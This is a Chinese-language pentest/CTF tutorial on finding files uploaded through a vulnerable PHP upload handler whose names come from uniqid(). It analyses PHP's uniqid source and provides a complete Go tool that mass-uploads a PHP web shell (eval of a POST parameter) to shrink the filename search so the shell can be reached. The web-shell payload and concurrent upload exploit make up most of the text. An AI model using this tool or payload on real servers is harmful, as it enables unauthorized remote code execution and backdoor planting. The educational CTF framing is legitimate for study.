在做渗透测试或者ctf比赛的时,常遇到一种任意文件上传漏洞,上传后的文件名,是使用时间加随机数生成的。常见的如php的uniqid函数生成的文件名,或用时间戳或秒数+随机数字生成文件名。

通常遇到这种情况,我们可以使用一个url模糊测试的的脚本暴力猜解,如果数量为百万级,即使用HEAD方式发送http请求也需要1~2小时才能遍历完,在渗透测试和ctf比赛中都有动作过大和时间太长的缺点。但如果我们换一个思路,可以将效率提高上千倍。有一个靶子,命中一次就算成功,我们用多支枪去打可以提高命中可能;上传漏洞好比这靶子是我们自己架设的,我们可以放多个靶子再进一步提高命中可能。通过这个方式,就可以在一秒内找到上传后的文件名。

下面使用一段真实的代码为例,说明如何在一秒中内找到phpuniqid函数生的文件名。

一、有漏洞的上传代码,如何找到上传后的文件呢

<?php $temp = explode(".", $_FILES["file"]["name"]);
  $extension = end($temp); if ($_FILES["file"]["error"] > 0) { echo "Error";
  } else {
      $newfile = uniqid("image_").".".$extension; // 下面的命名方式与上面基本是一样的,也曾在某次ctf中出现过 // 新文件名 // $newfile = date("dHis") . '_' . rand(10000, 99999) . '.' .$extension; move_uploaded_file($_FILES["file"]["tmp_name"], "Images/".$newfile);
  } ?> 

uniqid.png

可见文件名使用了uniqid函数生成,实际运行如下代码,可见uniqid的前半部分是根据固定的,后半部分似乎是随机的。

二、弄清uniqid函数的实现细节

查看php uniqid函数的源码

// https://github.com/php/php-src/blob/master/ext/standard/uniqid.c do {
  (void)gettimeofday((struct timeval *) &tv, (struct timezone *) NULL);
} while (tv.tv_sec == prev_tv.tv_sec && tv.tv_usec == prev_tv.tv_usec);
prev_tv.tv_sec = tv.tv_sec;
prev_tv.tv_usec = tv.tv_usec;
sec = (int) tv.tv_sec;
usec = (int) (tv.tv_usec % 0x100000); /* The max value usec can have is 0xF423F, so we use only five hex
 * digits for usecs.
 */ if (more_entropy) {
  uniqid = strpprintf(0, "%s%08x%05x%.8F", prefix, sec, usec, php_combined_lcg() * 10);
} else {
  uniqid = strpprintf(0, "%s%08x%05x", prefix, sec, usec);
} 

由以上代码可知,文件名 = 前缀 + 秒数的8位16进制数 + 微秒取模0×100000的5位16进制数。这里面前缀和秒数已知,只有微妙数不知。10^6微秒=1秒,数值非常小,我们可以认为它是一个随机数。这样生成的文件名可能为16^5=1048576,100多万个可能性。使用HEAD方法去验证100多万个结果,网络较好的情况下也需要数个小时。

三、同时上传多个文件,提高查找效率

实际上我们可以通过在一秒钟内上传多个文件来成千倍提高查找效率。编写过程中还需要注意一些细节。

使用go语言编写并发上传和测试的工具,在本地环境下测试,(16G内存+i7cpu的笔记本+nginx+php7.0-fpm)一秒内可上传5700余个文件,扫描时在发起956次请求就找到结果,用时0.1秒。在ping延时为300毫秒的vps上测试一秒钟内也可上传1500个文件。这样就相当于在 16^5/1500 = 699,在699个文件名中找一个正确值(考虑到不是均匀分布,这个值会大一些或小一些)。发起699次HTTP请求,一般不超过1-数秒内就可得出正确结果,即使网络非常差也能在几十秒内找到正确结果。测试情况见下图所示: 

upload.png

一些需要注意的细节:

服务器返回的response header中有服务器时间,可用来确认秒数.

服务器同时支持的tcp连接数有限,http客户端要设置http请求头的 Connection: close。

客户端同时能打开的文件数也是有限的,所以要将要要上传的php代码放到内存中,而不是从文件中读取。

设置/etc/hosts,节省dns查询时间

使用tcp socket直接发送上传的请求包,应该还会更快一点。

上传代码如下:

package main import ( "bytes" "fmt" "log" "mime/multipart" "net/http" "os" "path/filepath" "time" "sync" ) // Creates a new file upload http request with optional extra params func newfileUploadRequest(uri string, params map[string]string, paramName, localfile string) (*http.Request, error) { // file, err := os.Open(localfile) // if err != nil { //     return nil, err // } // defer file.Close() payload := []byte(`<?php eval($_POST[c]);`)
    body := &bytes.Buffer{}
    writer := multipart.NewWriter(body)
    part, err := writer.CreateFormFile(paramName, filepath.Base(localfile)) if err != nil { return nil, err
    } // _, err = io.Copy(part, file) part.Write(payload) for key, val := range params {
        _ = writer.WriteField(key, val)
    }
    err = writer.Close() if err != nil { return nil, err
    }
    req, err := http.NewRequest("POST", uri, body) if err != nil { return nil, err
    }
    req.Header.Set("Content-Type", writer.FormDataContentType())
    req.Header.Set("Connection", "close") return req, nil
} var total int var result map[int64]int func main() {
    start := time.Now()
    filename := "file" filepath, _ := os.Getwd()
    filepath += "/shell.php" result = make(map[int64]int, 10)
    wg := &sync.WaitGroup{} lock := &sync.Mutex{}
    done := make(chan struct{}, 256) for i := 0; i < 10000; i++ {
        done <- struct{}{} // max concurrency is 256 if i%64 == 0 {
            time.Sleep(10 * time.Millisecond)
        }
        wg.Add(1) go doUpload(filename, filepath, nil, wg, lock)
        <-done
    }
    wg.Wait()
    used := time.Since(start)
    fmt.Printf("[*] done.\n[*] %d file uploaded. time used: %.2f\n", total, used.Seconds()) for sec, cnt := range result {
        fmt.Printf("[*] %08x : %d\n", sec, cnt)
    }
} func doUpload(filename, filepath string, params map[string]string, wg *sync.WaitGroup, lock *sync.Mutex) {
    defer wg.Done()
    code, date, err := upload(filename, filepath, params) if err != nil {
        log.Println(err) return } if err == nil && code == 200 { lock.Lock()
        total++
        key := date.Unix() if cnt, has := result[key]; has {
            result[key] = cnt + 1 } else {
            result[key] = 1 } lock.Unlock()
    }
} func upload(filename string, filepath string, params map[string]string) (code int, date time.Time, err error) {
    request, err := newfileUploadRequest("http://ctf/up.php", params, filename, filepath) if err != nil {
        log.Println(err) return }
    timeout := time.Duration(5 * time.Second)
    client := &http.Client{
        Timeout: timeout,
    }
    resp, err := client.Do(request) if err != nil {
        log.Println(err) return }
    code = resp.StatusCode
    datestring := resp.Header.Get("Date") if datestring != "" { // loc, _ := time.LoadLocation("Asia/Shanghai") LongForm := `Mon, 02 Jan 2006 15:04:05 MST` // date, _ = time.ParseInLocation(LongForm, datestring, loc) date, _ = time.Parse(LongForm, datestring) // fmt.Println(date.Unix()) } // _, err = ioutil.ReadAll(resp.Body) defer resp.Body.Close() return } 

* 本文作者:golang